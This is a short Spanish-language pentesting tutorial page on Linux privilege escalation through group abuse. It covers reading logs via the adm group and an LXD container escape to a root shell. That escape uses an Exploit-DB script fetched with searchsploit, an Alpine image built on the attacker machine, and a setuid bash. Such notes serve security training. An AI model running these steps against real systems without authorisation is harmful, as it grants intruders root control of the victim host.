Group Abuse

Linux privilege Escalation

En Linux, los grupos son entidades que permiten agrupar usuarios para gestionar permisos y acceder a recursos de manera más eficiente. Al crear un grupo y asignar usuarios a él, se puede otorgar a ese grupo ciertos permisos sobre archivos, directorios o dispositivos, y todos los usuarios pertenecientes al grupo heredan esos permisos.

con el comando "id" podremos enumerar nuestros grupos

id

despues de esto podemos buscar formas de explotar las funciones que nos dan estos grupos, aquí hay algunos ejemplos con grupos específicos :

Ejemplo de abuso con ADM

  • ADM es un grupo que nos permite leer los logs del sistema

ls -l /var/log
find /var/log -group adm 2>/dev/null # listar logs que podemos ver con adm
  • en estos logs puede ser posible enumerar alguna información confidencial o critica

Ejemplo de abuso con LXD

  • LXD es un servicio similar a Docker que nos permite crear y gestionar contenedores

también podemos abusar de monturas para conseguir una consola de root

searchsploit lxd
searchsploit -m /linux/local/46978.sh # es un script de s4vitar que hace el proceso automatico
mv 46978.sh privesc.sh

en nuestra maquina de atacante descargamos este recurso y a partir de esa imagen crear un contenedor

bash build-alpine
  • debes ejecutarlo todo como root, por eso lo estamos haciendo primero en la maquina atacante

  • el comprimido que sea creado deberás pasarlo a la maquina victima junto al script privesc.sh

./privesc.sh -f nombre_del_comprimido

automáticamente te dará una consola como root

chmod u+s bash (en el contenedor)
bash -p (en la maquina victima)

y tendremos la consola como root

Last updated